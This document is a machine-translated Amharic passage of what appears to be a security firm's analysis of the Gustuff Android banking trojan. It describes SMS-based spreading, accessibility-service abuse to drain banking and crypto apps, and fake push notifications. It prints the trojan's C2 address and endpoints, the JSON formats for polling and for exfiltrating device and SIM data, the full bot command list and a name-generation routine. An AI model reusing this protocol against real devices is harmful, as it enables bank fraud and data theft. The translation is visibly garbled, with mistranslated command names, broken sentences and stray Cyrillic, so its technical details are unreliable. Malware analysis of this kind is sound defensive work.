áá áááá áá áĄáľá-IB
áĄáľá-IB ááľáĽ á°ááŽá á áá áŽáľ áľáá°á áľááťááľáľ á˘áŤá ááłáŹá á ááááá ááľáĽ ááľáąá áĽáá´áľ áĽáá°áá°áŤ áĽá áá á á°ááá˝ áĽááłá á áááá ááááŤá.
ááľáąá ááá áá á¨ááŤá°áá?
Gustuff áá á áá á áŤáľ á°á á¨áá°áŠ á¨á á˛áą á¨áááá áľáááľ ááᢠáĽáá° ááá˘á áááťáŁ áľáŽáá á¨á áłá 2017 ááᎠá ááľáŽááľ áľááŽá˝á á˛áŤá á áĽá áááἠáĽá¨áá¨á á¨áłáá á¨á áá á áá áŁááŽá˝ áĽá á¨áá፠áľáááśá˝ á¨ááŁáá á áááŹá˝áá˝á á ááľáá°á á¨á°áťáťáá AndyBot áááá áááᢠBestoffer ᨠGustuff Bot áŞáŤá áá á áá 800 áśáá áĽáá°áá á ááá§áá˘
ᨠGustuff ááá áľááłá áĽáá°ááŤáłá¨á áľáŽáá áĽáá° á ááŞáŤ áŁáá ᣠáľáŽáľáááľ áŁáá ᣠááá¤áááá ᣠáááľ ááá ᣠáŤááłá á áᾠᣠá˛á˛ áŁáá ᣠáá¤áᲠáŁáá áĽá áĽáá˛áá crypto wallets á¨ááłá°á áľááá áŁááŽá˝ á¨ááŁáá á áááŹá˝áá˝á á áá áá á°áá áášá á˘áá ááŤá°áá áá˝áá ᢠBitcoin WalletᣠBitPayᣠCryptopayᣠCoinbaseᣠááá°
ááááŞáŤ áá áĽáá° ááá˛á á¨áŁáá áľáŽáá á¨á°áá á¨áŁ á áá áŁáá áľáŞáľ ááľáąá á¨áĽááľ á˘áááá˝á áááá á á¨áá°á áááł á áľááˇáᢠááŁááŽá˝áŁ áááá´á áŠáŁááŤáá˝ áĽá áááŞááś á áááááśá˝ á ááľáŽááľ á áááŹá˝áá˝ á á°á¨á᪠ááľáąá á áá ፠áŚáł á áááŹá˝áá˝áŁ á ááľáá áá áá°áĽáŽá˝áŁ á¨áá፠áĽáááśá˝ áĽá ááŁá áááĽáá°áá˝ áá áŤááŁá ᨠááᢠá á°ááá PayPalᣠWestern UnionᣠeBayᣠWalmartᣠSkypeᣠWhatsAppᣠGett TaxiᣠRevolut áĽá ááá˝áá˘
á¨ááá˘áŤ ááĽáĽ: á¨á áá á˘áááá˝á áľááľ
ááľáąá á á¤áľá¤áá¤áľ áááĽááľ áá° á¤ááŹáá˝ á ááአá áááá˝ áá° á ááľáŽááľ áľáááľááá˝ ááá á ááᣠâá¨á°ááá°â áŹáá°á á°áááś ááłáááᢠá ááľáŽááľ ááłáŞáŤ á á áááአáľáĽáá á áľáŽáá á˛á á ááľáąá á á°á á¨á áľáá á¨áá¨á ááľ ááá á á áááአáłáłá¤á á áŠá áá°áŤá áá˝ááᢠᨠGustuff á°ááŁá áá áá á˘áááá˝á áĽá ááŚááŹá°áŽáš áááľ á¨áá°ááá áŤááłáááá˝á á¨á°áá°á áá - áá° á áá á¨ááŁáá áŁáá á áááŹá˝áá˝ áĽá crypto á¨áŞáľ áŚááłáá˝ áአá¨áá âáŤáľ-ááâ á°ááŁá á áá ᣠáá á á¨áááἠáľáááľá áááá á áĽá ááááŤáľ áŤáľá˝áááłáá˘
á áľáŽáá áá á¨á°á°á¨á áĽááľ áĽáá°ááŤáłá¨á á¨áŤáľ-áá á°ááŁá á¨á°á°áŤá˝ááľ á áááááľá á áá áá á¨á áŤá ááłá°áá˝ á áááááľá á áá áá ááᢠááľáąá áá á á¨á ááľáŽááľ á áááááľ á áá áá á¨ááá˝ áá°áá áŞáŤáá˝ á¨ááľáŽáľ á áŤááľ áá áŤááá ááľá°ááĽá ááá¨áá¨á á á°áłáŤ áááł á¨ááŤáá áľáŽáá á¨ááááŞáŤá á áá°ááᢠááá á¨á°á°áŤá˝ááľ á áááááľá á¨ááŞá áá፠áá áá áá á ááá á áŁá á áá á áá ááá˘
áá° á°ááá áľáá áŤáá¨áą á áá á¨á°á°áŤá˝ááľ á áááááľá á áá áá ááľáąá á¨ááá˝ á áááŹá˝áá˝ á¨ááľáŽáľ á áŤááľ (áŁáá áŁááŞááśá áŁáĽáá˛áá á¨ááľáá áá ááĽááľ áŁáááĽááľ áŁááá°) áá ááľá°ááĽá ááá á áá áĽááá˝ á áľááá á¨áááľá á°ááŁáŤáľ áá¨ááá áá˝ááᢠ. áááłá ᣠá á áááአáľáĽáá ᣠáľáŽáá á ááŤáŽá˝á ááŤá áĽá á áŁáá áá°áá áŞáŤáá˝ ááľáĽ á¨á˝áá ááľáŽá˝á áĽá´áśá˝á áááἠáá˝ááᢠá¨á°á°áŤá˝ááľ á áááááľ áá´á á áá áá áľáŽáá áŁááŽá˝ á¨áá°ááľá á¨ááŁáá áľáŽááá˝ ááá¨áá¨á á¨áá áááŁá¸áá á¨á°á áááľ áá´áá˝ áĽáá˛áŤáá áŤáľá˝áááᣠáĽáá˛áá á Google á á á˛áą á¨á ááľáŽááľ áŚá¤áľ áľáŞáśá˝ áá á¨áá°áá አá¨á°á áááľ ááᲠáááŚá˝á˘ áľááá ááľáąá á¨ááá áĽá á áĽá áá áĽáá´áľ áĽáá°ááŤá°áááá "áŤáááá" áĽáá° á°áŤá˛á á¨áá áá á°ááŁá á 70% á¨ááááľ ááłáŽá˝ ááľáĽ áá°áŤáá˘
ááľáąá á á°á¨ááŞá á¨áá¸áľ á¨PUSH ááłáááŤáá˝á á¨á
áá á¨ááŁáá áá°áá áŞáŤáá˝ á áśáá˝ áá ááłá¨áľ áá˝ááᢠá°á ááá á PUSH ááłáá፠áá á á
á ááľá¨á á¨á áááአá¨áá¨á°áá á¨ááľáá ááľáŽáľ áŤáŤáᣠá¨á°á á¨ááá á¨áŁáá áŤááľ ááá á¨áŞáľ áŚááł áłáł áŤáľááŁáᢠá áá á¨Gustuff áááłáŁ á¨PUSH ááłáá፠á¨áłá¨á áľ áá°áá áŞáŤ á°á¨ááˇáᢠá áá
á ááŁáᣠááááᣠá á°á°áŤá˝ááľ á áááááľ á áŠá á¨á áááአáľáĽáá á˛á°áĽáŁ áá°áá á¨á ᨠááĽááľ á¨áŁáá áááá¨áť á
á˝ ááááľ áá˝ááá˘
á¨ááľáąá á°ááŁá á á°á¨á᪠áľááłáá ááłáŞáŤ áá¨áá áá° á áááአááá ᣠSMS áááááśá˝á ááá áĽ/ááá ááťá ᣠUSSD áĽáŤááá˝á ááá ᣠSOCKS5 Proxy ááľááá ᣠá áááá áá¨á°á ᣠáááá˝á ááá (á¨á°ááśá˝á á¨ááś á áᾠᣠá á˝á áłá áá˝ áĽááłáá˝á ᣠááśááŤáá˝á á¨ááŽ) áá° á áááá , ááŁáŞáŤáá áá° ááĽáŞáŤá á ááĽáŽá˝ áłáá áŤáľáááŠáľ.
á¨áááá áľáá°á
á°ááŽá á áá áá°áá áŞáŤ á¨ááŤáá á ááľ á ááľáŽááľ áŚá¤áľ áá°á ááá á Gustuff á¨á°á á¨á á¨ááĽáśá˝ áááá á¨áŤá ááľáŽáľ áŤáłáŤááĄ-
á áááŹá˝á á¨ááŤáá á¨á°á áááá áááľ á¨á°áá á á áá ááᢠá áááŹá˝áá á¨ááᨠá áá áľáŽáá áá°á ááá ááľáŽáľ áŤáłá¨áááĄ-
á¨á፠á áá á áśáá áŤáľáááłá.
ááľáąá áĽáá° á°áŤá˛á á¨áá á¨á¤áá˛á˛ á ááŁá áá¨á á°áááˇáᢠá¨á áá á áá áľáá áŤá áľáááá˝á áááá á á á¨ááá ᨠCnC á ááááá áŤááááŤáᢠá¨áá¨áááá¸á á ááŤáł áááá˝ á¨á á á á áľáŤáťá áĽáá° áááŁá áŞáŤ á áááá á°á á ááá 88.99.171[.] 105 (á¨áá á áá áĽáá ááááá <%CnC%>).
á¨á°ááᨠá áá ááŽááŤá áá° á áááአáááĽááľ ááá ááááŤá http://<%CnC%>/api/v1/get.php.
áááš JSON á áá¨á°áá á áá¸áľ áá á áááĄ
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
á áááŹá˝á á áᣠááĽá áľáá°á á¨áá ááłáŞáŤ áá¨á áááŤáᢠá¨áááĽááą á áá¸áľ á¨áá á áłá˝ ááłáŤáᢠááľáŽá˝á áἠááŁá á¨áááŁá áá áá, á°á¨ááŞ, áá°áá áŞáŤáὠи áááľ - á ááŤá áĽá ᨠCnC á¨áĽáŤá áľáĽáá áĽáť áááŤáá˘
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
á¨áá á áááĽá á áá¨áá¸áľ áá
Gustuff á áá፠ááá ááľáĽ ááŚááŹá˝á á áľááá áá¨á áŤá¨ááťáᢠá¨ááá áľá áĽá á ááľáĄ áŤááľ á¨áááŞáŤáá˝ áľáὠᨠMD5 áľááá á¨ááĽá¨áááá á¨ááľááľ áá¤áľ áá¸áᢠ15413090667214.6.1<%áľá%>á¨áľ <%áľá%> - á¨ááááŞáŤ áľá-áĽá´áľ. á¨áááá á¨áľá áááá¨áľ á°ááŁá áľááááĄ-
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
á áá¨á°áá ááľáĽ áĽáá° áĽáááááá áľá áááŹá°á (áá¤áľ).
áľááá
á¨ááááŞáŤá á¨ááá áľá: áľá áááŹá°á("API_SERVER_LIST")á¨áá¨á°ááľ áľáá˝ áá áĽá´áśá˝á áááá˘
á°áááá áľá | áá |
---|---|
áľá áááŹá°á("API_SERVER_LIST") | á¨CnC á áľáŤáťáá˝á á áľááľá ááá áááᢠ|
áľá áááŹá°á("API_SERVER_URL") | á¨CnC á áľáŤáťá áááᢠ|
áľá áááŹá°á("SMS_UPLOAD") | áŁáá˛áŤ á ááŁáŞááľ á°áááĽáŻáᢠáŁáá˛áŤ á¨á°ááᨠá¨á¤áľá¤áá¤áľ áááááśá˝á áá° CnC áááŤáᢠ|
áľá áááŹá°á("SMS_ROOT_NUMBER") | á á á˝áłá á á°áŤáá ááłáŞáŤ á¨á°áá áá¸á á¨á¤áľá¤áá¤áľ áááááśá˝ á¨áááŠá áľ áľáá ááĽáᢠááŁáŞá áŁáś ááᢠ|
áľá áááŹá°á("SMS_ROOT_NUMBER_RESEND") | áŁáá˛áŤ á ááŁáŞááľ á¸áľáˇáᢠá¨á°áŤá á¨á°á á¨á ááłáŞáŤ á¤áľá¤áá¤áľ á˛á°áá°á áá° áľáá ááĽáŠ áááŤáᢠ|
áľá áááŹá°á("DEFAULT_APP_SMS") | áŁáá˛áŤ á ááŁáŞááľ á¸áľáˇáᢠáá áĽáá á¨á°ááᨠá áááŹá˝á áᢠá¨á¤áľá¤áá¤áľ áááááśá˝á áŤáľá°áááłáᢠ|
áľá áááŹá°á("DEFAULT_ADMIN") | áŁáá˛áŤ á ááŁáŞááľ á¸áľáˇáᢠáŁáá˛áŤ á¨á°ááᨠáááá¨áťá á¨á áľá°áłáłáŞ ááĽáśá˝ á ááľá˘ |
áľá áááŹá°á("DEFAULT_ACCESSIBILITY") | áŁáá˛áŤ á ááŁáŞááľ á¸áľáˇáᢠáŁáá˛áŤ á¨á°ááᨠá¨á°á°áŤá˝ááľ á áááááľá á¨áá áá á áááááľ áĽá¨á°áŤ ááᢠ|
áľá áááŹá°á("APPS_CONFIG") | á¨á ááľ á¨á°áá°á áá°áá áŞáŤ áá á¨á°ááá á¨á°á°áŤá˝ááľ ááľá°áľ á˛áá°ááľ áá°á¨á áŤááŁá¸áá á¨áĽááááá˝ áááá á¨áŤá á¨JSON áááᢠ|
áľá áááŹá°á("APPS_INSTALLED") | á ááłáŞáŤá áá á¨á°áŤááľá á¨áá°áá áŞáŤáá˝ áááá áŤá¨ááťá. |
áľá áááŹá°á("IS_FIST_RUN") | áŁáá˛áŤ á ááááŞáŤá á áá áá áłáá á°áááĽáŻáᢠ|
áľá áááŹá°á("UNIQUE_ID") | áአáá፠áááᢠáŚáľ áááááŞáŤ áá á˛ááá á¨á°áá á¨á˘ |
á¨á áááአáľáááá˝á áááľáŹáľ áááá˘
á áááŹá˝á á¨CnC á ááááŽá˝á á áľáŤáť á áŽáľ á á°ááá á áľááľá ááá áŤá¨ááťá áá á¨áľ 85 ááľááŽá˝. á°áá˘áá áľááá á¨á°áá á á áá ᨠCnC á ááááŽá˝ áááá ááá¨á áá˝áá, á áá áá á áľáŤáťááš á áá፠ááá ááľáĽ ááááŁá.
ááĽáŤáá ááá˝, á áááአááá°áá áŞáŤá áľááá áááŤá. áľáĽááá˝ áĽá áááŞáŤáá˝ á JSON á áá¸áľ áĽáá°áááᥠáἠááŁá áááŁáᢠá áááŹá˝á á¨áá¨á°ááľá áľáááá˝ ááŤááľ áá˝áááĄ-
áĄáľá | ááá፠|
---|---|
áá°ááľ ááá | á á á˝áłá á á°áŤáá ááłáŞáŤ á¨á°áá áá¸áá á¨á¤áľá¤áá¤áľ áááááśá˝ áá° CnC á áááá ááá ááááŠá˘ |
áá°ááľ ááá | á á á˝áłá á á°áŤáá ááłáŞáŤ á¨á°áá áá¸áá á¨á¤áľá¤áá¤áľ áááááśá˝ áá° CnC á áááá ááá á áá |
ussdRun | á¨USSD áĽáŤáá áŤáľáá˝áᢠᨠUSSD áĽáŤá ááá á¨áĽ á¨ááŤáľáááá ááĽá á JSON ááľá "ááĽá" ááľáĽ áááá. |
á¤áľá¤áá¤áľ ááá | á ááľ á¨á¤áľá¤áá¤áľ áááĽááľ ááአ(á áľááá á¨áá áááĽááą áá° áááá˝ "á¨á°á¨ááá" áá). áĽáá° ááŹáľ ᣠáľááá á¨áááĽááąá á áŤá âáá°â - á¨ááľá¨áť ááĽá áĽá âá áŤáâ - á¨áááĽááąá á áŤá á¨áŤááá á¨JSON ááá áááľáłáᢠ|
SMSAb ááá | á¨á¤áľá¤áá¤áľ áááááśá˝á ááአ(á áľááá á¨áá áááĽááą "á¨á°á¨ááá" áá) á á°á á¨áá ááŁáŞáŤ áááá ááľáĽ áá ááᢠáááááśá˝á á ááá ááŤá¨á áŤáá á¨áá ááá°áľ 10 á°á¨ááľ ááᢠá¨áááĽááą á áŤá á JSON ááľá "á áŤá" ááľáĽ á á |
SMSMass áá | á¨á¤áľá¤áá¤áľ áááááśá˝á (á áľááá á¨áá áááĽááą "á¨á°á¨ááá" áá) á áľááá áááŞáŤáá˝ ááľáĽ áá°á°ááášáľ á áľáŤáťáá˝ áááŠ. áááááśá˝á á ááá ááŤá¨á áŤáá á¨áá ááá°áľ 10 á°á¨ááľ ááᢠáĽáá° ááŹáľ ᣠáľááá ᨠJSON á á°áŤá°á (ᨠâá¤áľá¤áá¤áľâ ááľá) áááľáłá ᣠááááš âáá°â - á¨ááľá¨áť ááĽá áĽá âá áŤáâ - á¨áááĽááą á áŤáᢠ|
á áááá ááá | áá áľáĽáá á ááľ áĽá´áľá ᨠâáŠá áá¤áâ ááá áá áĽáá° áá¤áľ áááľáľ áá˝áá - á¨á፠áŚáą á¨áľá áááŹá°áá (âSERVER_URLâ) ááá âarrayâá áá ááááŁá - á¨á፠áŚáą áľááľááá áá° áľá áááŹá°á (âAPI_SERVER_LISTâ) áá˝ááᢠáľááá , á áááŹá˝á ᨠCnC á ááááŽá˝á á áľáŤáť ááááŁá. |
á¨á áľá°áłáłáŞ ááĽá | áľááá á¨áľá ááĽá áá áááľáŤáľ á¨á°áá°á ááᢠáľááá á¨JSON ááá á¨áá¨á°ááľ áááŞáŤáá˝ áá ááá áááĄ- âááĽáâ â áľá áááŹá°áá (âROOT_NUMBERâ) áá°á°áá áá áĽá´áľ áááᣠâáłáá ááâ â áľá áááŹá°áá ááá (âSMS_ROOT_NUMBER_RESENDâ)ᣠâsendIdâ â áá° áľá áááŹá°á (âROOT_NUMBERâ áá) ) áአááłáá፠|
áá áłá áá¨á | áľáá°á á¨áá ááłáŞáŤ áá¨á áá° á áááአáááŠá˘ |
áłáł á¨ááś áá°á¨á | áľááá á¨á°á áááá ááἠáááĽááľ á¨áłá°á ááᢠá áááŹá˝á á áá áľá áĽáá°á°ááᨠááá áá¨áá á ááłáŞáŤ áłáá ááľááłáľ (áá á°á áá) áá á áá áá°á¨ááᣠááá á¨á°á ááá ááἠáĽáť áá°á¨áá (ááá°á á°á áá)ᢠ|
socksStart | á¨á°áŞ áááá áŤáľáááŠá˘ á¨ááá á á áŤá á á°áᨠááá ááľáĽ á°áááżá. |
socksStop | á¨á°áŞ áááá áŤááᢠ|
áááľ ááá | áááŠá á°á¨á°áᢠáááá á JSON áá¤áľ ááľáĽ á "url" ááá áľá áááá. "android.intent.action.VIEW" á áááá áááááľ áá á ááᢠ|
áááá á¤áľá¤áá¤áľ áľáá | á ááłáŞáŤá á¨á°áá ááľá áááá á¨á¤áľá¤áá¤áľ áááááśá˝ áá° á áááአáááŠá˘ |
áááá ááśáá˝ áľáá | á¨á°á á¨á ááłáŞáŤ ááľáá˝á áá° URL ááᢠáŠá áá¤á áĽáá° ááŹáľ áááŁáᢠ|
á°áá ááá | á¨á°á á¨á ááłáŞáŤ ááá áá° URL ááᢠáŠá áá¤á áĽáá° ááŹáľ áááŁáᢠ|
áľáá ááĽáŽá˝ áľáá | áľáá ááĽáŽá˝á á¨áĽáá፠ááááá áá° á áááአáááŠá˘ âabâ ááá áŤáá á¨JSON ááá áĽá´áľ áĽáá° ááŹáľ á¨á°áá á á áááŹá˝á á¨áĽáááŤáá˝ áááá á¨áľáá áá፠ááá ááᢠâá¤áľá¤áá¤áľâ ááá áŤáá á¨JSON ááá áĽáá° ááŹáľ á¨á°áá á á áááŹá˝á á¨á¤áľá¤áá¤áľ áááĽááľ ááŞáá˝á á¨áĽáááŤáá˝ áááá áŤááŁáᢠ|
ááἠáááἠá¤áľ | á áááŹá˝á á¨"url" áááá á áá áá áĽáá° áááŞáŤ á¨áááŁá á áľáŤáť áááá áŤáááłáᢠá¨áá¨á°á ááá á "archive.zip" áľá á°ááá§á. á áááŹá˝á á¨áááá áá áá¨ááłáᣠáĽáá° á ááŤá á¨áá á°á ááá áá âb5jXh37gxgHBrZhQ4j3Dâ áá áááᢠáŤáá°á¨ááąáľ áááá˝ á [ááŤá áá¨ááť]/hgps áá፠ááľáĽ ááááŁáᢠá áá áá፠ááľáĽ á áááŹá˝á á¨áľá áá°á°á áá¨ááá˝á áŤá¨ááťá (á¨áá á áłá˝ á°áĽáŤááˇáᢠ|
á áá˛áŽá | áľááá á á°áᨠááá ááľáĽ á¨á°ááá¸á á¨áľáááľ á áááááľ áá áááľáŤáľ á¨á°áá°á áá. |
áá¨áŤ | ááá ááľá¨á. |
á áááľ | áľááá á ááľá ááá á¨áááľ á áááá áááá¨áľ áĽá áá° "ááá¨áśá˝" áá፠ááľáĽ áááľááἠá¨áłá°á ááᢠá¨áŠá áá¤á áĽá á¨ááá áľá áĽáá° ááŹáľ áááŁáᣠááľáŽá˝ á JSON áá¤áľ áááᣠá á á°á á°á¨á°áᥠ"url" áĽá ââ"ááá áľá"ᢠ|
ááľáááľ | áááá á¨"ááá¨áśá˝" áá፠áŤáľáááłáᢠá¨ááá áľá á JSON áááŞáŤ á¨"ááá áľá" ááá áá áááŁáᢠá¨áá°á á ááá áľá "tmp.apk" áá. |
ááľáłáá፠| á á áľá°áłá°á á áááአá¨á°áááš ááá፠áĽá á¨áááľ á˝ááá˝ áŤáá ááłáá፠á áłáᢠ|
á¨áľáĽáá á áá¸áľ ááľáłáááŤ:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
á ááá፠áá áŁáá ááá á¨ááá¨á ááľáłáá፠á ááľá áá á¨á°á áá°á áá°áá áŞáŤ á¨á°áá áŠáľ ááłáááŤáá˝ áá á°ááłáłá áááľáá áá°áá áŞáŤ. á¨ááľá áá á¨áá áááľ áá°áá áŞáŤ â áĽáááľ ááᣠááłáá፠á˛á¨ááľ á ááľá áá á¨á°ááá¸á áá°áá áŞáŤ ááááŤá áá°áá áŞáŤ. á¨ááľá áá á¨áá áááľ áá°áá áŞáŤ - áá¸áľ áá áĽááá˛á
- á¨ááľáá ááľáŽáľ áá¨ááłá, áááą á¨áááŤá áá ááááłá <%ááŤá áá¨ááť%>/hgps/<%filename%>
- á¨ááľáá ááľáŽáľ áá¨ááłá, áááą á¨á áááአááááłá <%url%>?id=<%Bot id%>&app=<%á¨áá°áá áŞáŤ áľá%>
- á¨áŤááľ ááááŽá˝á áááľááŁáľ áĽáá° ááá ááá áŤááľ á ááá°á á¨ááľáá ááľáŽáľ áá¨ááłáá˘
á áááŹá˝á á¨áááááá áľááá áá¤áľ áááŤá <%CnC%>set_state.php áĽáá° JSON ááá á áá¨á°áá á áá¸áľáĄ-
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
á¨á°ááŁá á áááááľ
á¨áá°áá áŞáŤá áá°áśá˝ á¨ááŤáŤáľáąáľ á¨áľáĽááá˝ áááá áĽááá. áľáĽáá á˛á°áá°á á¨áľáĽáá áááá áŞáŤ ááá á¨á°áŤáááá áľááá áááľáá¸á áá
áá á áááááľ áá°ááłáᢠá áááááą á¨JSON áááá áĽáá° áááŞáŤ ááá ááᢠá áááááą á¨áá¨á°ááľá áľáááá˝ ááá˝á áá˝áá.
1. PARAMS_ACTION - áĽáá˛á ááááąá áľáĽáá á˛áá á á áááááą á ááááŞáŤ ᨠJSON áá¤áľ á¨á áááľ ááá áá ááá áá ᣠáá á áĽáá°áá¨á°áá ááá áá˝áá á˘
- á¨á áááááľ áá¨á - áááľ áľááá áááá á ááá ᨠJSON áááŞáŤ áŤááá á áľááá áŤáááá áá¨ááŤá. áŁáá˛áŤá áĽáááľ á¨áá á áááŹá˝á áŁáá˛áŤáá áŤááááᢠFLAG_ISOLATED_PROCESS á¨á°á°áŤá˝ááľ á áááááľá á áá áá áá° á áááááľá˘ á áá ááááľ á áááááą á á°áᨠáá°áľ ááľáĽ ááááŤá.
- áĽá - á áá áľáŠá¨áľ áľáá°á°á á ááľáŽáľ áá¨á ááá á áĽá áá áááአáááᢠá áááŹá˝á á¨AccessibilityNodeInfo áááá á áá áá áá¨á áŤáááá˘
- á áľá°áłáłáŞ - á¨á áľá°áłáłáŞ ááĽáśá˝á áá áá.
- áááá¨áľ â á"áłáł" ááá á áááŞáŤá ááľáĽ áá°ááášáľ á¨ááá°á¨ááśá˝ áĽááľ á¨ActionsServiceá áááľá˘
- ááľáŽáśá˝ - áá°á ááá á¨ááłáŠ ááľáŽáśá˝á áááá áááŠá˘
- áŤá - áá°áá áŞáŤáá á á°á á¨áá ááŁáŞáŤ áá ááŤááľá˘ á¨áá á°áŠ áĽá á áľá á "ááá áľá" ááá ááľáĽ áá. áá á°áŠ áŤáą á áááśá˝ áá፠ááľáĽ ááááá˘
- ááá á áá - áááľ áľááá á áá áŤáá ááľáŽáľ ááá°áľ á¨áłá°á áá-
- á ááŁá á áá áśá˝ áá áá
- áááŁ
- á¤áľ
- áá° ááłáááŤáá˝
- á á áᥠáá°á°á¨áá°á á¨áá°áá áŞáŤáá˝ ááľáŽáľ
- ááááŤá - áá°áá áŞáŤáá áŤáľáááŠá˘ á¨áá°áá áŞáŤá áľá áĽáá° áááŞáŤ á ááá áááŁá áá¨á.
- áľáážá˝ - á¨áľáá áááłá áá° á¸áĽáł ááááĄá˘
- áááááľ - á¨á፠áášá á¨ááᣠáĽááá áĽá á¨ááá á°ááł áá° áá áĽáŠá ááľ áŤá áŤáᢠá áááŹá˝á áá áá á°ááŁá WakeLock á áá áá áŤá¨ááááᣠááĽá¨ááááá [Application Lable]:INFO áĽáá° áá፠áááááá˘
- áááľ á°á°áŤá˘ - á°ááŁáŠ á áá°á°áá á¨á (ááľááá á áááá á¨áá°á á ááá˝ {"áááááľ"áĄ"á áá°ááá"} ááá {"áááááľ"áĄ"low sdk"} áá)
- á¨áĽá ááááľ - á°ááŁáŠ á áá°á°áá á¨á (ááľááá á áááá á¨áá°á á ááá˝ {"áááááľ"áĄ"á áá°ááá"}ááá {"áááááľ"áĄ"áá á°á á¤áá á"} áá)
- áááśá˝ - áá
áľááá ááá°áá áŞáŤá áááľ ááá á¨á
á áľááá áá. ááá áĽáá á¨áá áá á°ááŁá á áá°á°áá á¨á, áľááá
áľááá áľááá á¨áá˝ áá. á¨á°á á¨á ááĽáśá˝ áááá áĽáá° JSON áľááľá á¨"áááśá˝" ááá áááŁáᢠáá°á á áááááĄ-
- ᨠandroid. áááľá˘ READ_PHONE_STATE
- android.áááľá˘READ_CONTACTS
- android.áááľ.CALL_PHONE
- android.áááľ.á¤áľá¤áá¤áľ á°áá á
- android.áááľ.áá.á¤áľ.á¤á.á¤áľ
- android.áááľ.á¤áľá¤áá¤áľ_á ááĽáĽ
- android.áááľá˘READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGEá˘
- áááľ - á¨ááľáá ááľáŽáľ á áłáᢠá¨á áááአá áááŁá áá¤áľ áá á áááľá¨áľ á áááŹá˝á á¨áá¨á°ááľá á¨ááľáá ááľáŽáśá˝ ááŤáłá áá˝ááá˘
- áááą á áá፠ááľáĽ á ááá ááľáĽ á¨á°áá á¨ááľáá ááľáŽáľ á áłá <%external directory%>/hgps/<%param_filename%>. á¨ááľáŽáą áá á¨á°á ááá ááľá°ááĽá áá¤áľ áááŤá <%CnC%>/records.php
- áááą á¨á áľáŤáťá á áľááľá á¨á°áŤá á¨ááľáá ááľáŽáľ á áłá <%url_param%>?id=<%bot_id%>&app=<%packagename%>. á¨ááľáŽáą áá á¨á°á ááá ááľá°ááĽá áá¤áľ áááŤá <%CnC%>/records.php
- áĽáá° ááá ááá áŤááľ á¨á°áá°á á¨ááľáá ááľáŽáľ á áłáá˘
- á áłáłá - áľááá á¨á°á°áŤá˝ááľ á áááááľá á áá áá á¨ááá˝ áá°áá áŞáŤáá˝ á¨ááľáŽáľ á áŤááľ áá ááááŁáŁáľ á¨á°áá¨á° ááᢠááááááľ á ááŽááŤá ááľáĽ áአá áááááľ á°á°ááĽáŻá. á ááá፠áá áŤáá áá°áá áŞáŤ á¨áááśááľ áá áááááľ áá˝áá-
- á á áá áá ááᢠá áá á ááŁá áááŞáŤá ááľá°ááĽá á¨ááŤáľáááááľá ááá ááłáá፠ááá á˝áá (áľá) áááá˘
- áľááá á ááááá áľ áá áá°á ááá á¨ááłáᢠá áááŹá˝á ááľáŽáśá˝á á ááłáá፠ááááŁáá˘
áááá˝á á°ááĽááá á°á°áŤá˝ááľNodeInfo áááááľ á¨ááľáŽáľ á áŤááľ áľáá áŤá áĽáá° áá¤áśá˝ áá á áááľá¨áľ á¨áá¨á°ááľá á°ááŁáŤáľ áá¨ááá áá˝áá á˘
- áľáŠá¨áľ - áľáŠá¨áľá áá° ááá áŤáááĽáŠá˘
- á á áŤáľáá - á á ááľ ááá áá á á áŤáľááá˘
- actionId - á ááľ áľáááľ á ááłáá፠áŤá¨áááá˘
- setText - á¨áááŠá á˝áá ááááŠá˘ á˝ááá áááἠá áááľ ááááśá˝ ááťáá-á ááľ áľáááľ áŤá¨ááá ACTION_SET_TEXT (á¨á°á á¨áá ááŁáŞáŤ á ááľáŽááľ áľáŞáľ á¨áĽáľá áŤáá° ááá áĽáŠá á¨áá LOLLIPOP), ááá ááĽá¨áááá á á ááĽáĽ á°ááłá áá á ááľááἠáĽá áá° á ááľ ááá (áá áŽá áľáŞáśá˝) á ááá á. áá áľáĽáá á áŁáá á áááŹá˝á ááľáĽ áŤááá ááἠááááἠááŤáááá áá˝ááá˘
2. PARAMS_ACTIONS - áá áĽáá° PARAMS_ACTIONᣠá¨JSON áľááľá áĽáť áá á¨áááŁáá˘
